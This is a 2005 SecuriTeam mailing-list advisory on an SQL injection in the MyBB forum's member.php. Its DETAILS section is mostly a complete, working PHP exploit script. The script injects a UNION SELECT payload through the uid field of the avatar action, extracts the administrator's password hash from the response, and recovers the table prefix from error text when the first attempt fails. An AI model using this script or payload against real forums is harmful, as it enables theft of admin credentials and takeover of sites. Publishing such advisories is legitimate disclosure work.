[UNIX] MyBB member.php SQL Injection
From: SecuriTeam (support_at_securiteam.com)
Date: 01/05/05
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To: list@securiteam.com Date: 5 Jan 2005 16:04:49 +0200
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MyBB member.php SQL Injection
------------------------------------------------------------------------
SUMMARY
<http://www.mybboard.com/> MyBB is "a powerful, efficient and free forum
package developed in PHP and MySQL. MyBB has been designed with the end
users in mind, you and your subscribers".
A vulnerability in MyBB's member.php file allows remote attackers to cause
the program to include arbitrary SQL statements into the existing
statement executed by MyBB, which in turn can be used by an attacker to
disclose the administrative password of MyBB.
DETAILS
Exploit:
<?php
// the example below will attack http://www.example.com/mybb/
echo 'Pass:' . get_pass('www.example.com', '/mybb', '');
function get_pass($host, $path, $dbprefix) {
$query[] = 'uid=' . urlencode ("1' UNION SELECT 10000, 200,
password AS type FROM {$dbprefix}users WHERE uid=1 ORDER BY uid DESC/*");
$query = implode('&', $query);
$header = "POST $path/member.php?action=avatar HTTP/1.1\r\n";
$header .= "Host: $host\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: " . strlen($query) . "\r\n\r\n";
$fp = fsockopen($host, 80, $errno, $errstr, 30);
fwrite($fp, $header . $query);
$allah = '';
while (!feof($fp)) {
$tmp = fgets($fp, 1024);
$allah .= $tmp;
}
fclose($fp);
preg_match('/\: ([a-z0-9]{32})/i', $allah, $matches);
if (empty($matches[1]) && empty($dbprefix)) {
preg_match('#FROM (\w+)avatars WHERE#i', $allah,
$matches);
$dbprefix = $matches[1];
if (empty($dbprefix)) {
return 'Unable to obtain password';
}
$password = get_pass($host, $path, $dbprefix);
}
else {
$password = $matches[1];
}
return $password;
}
?>
ADDITIONAL INFORMATION
The information has been provided by <mailto:scottm@spamcop.net> scottm.
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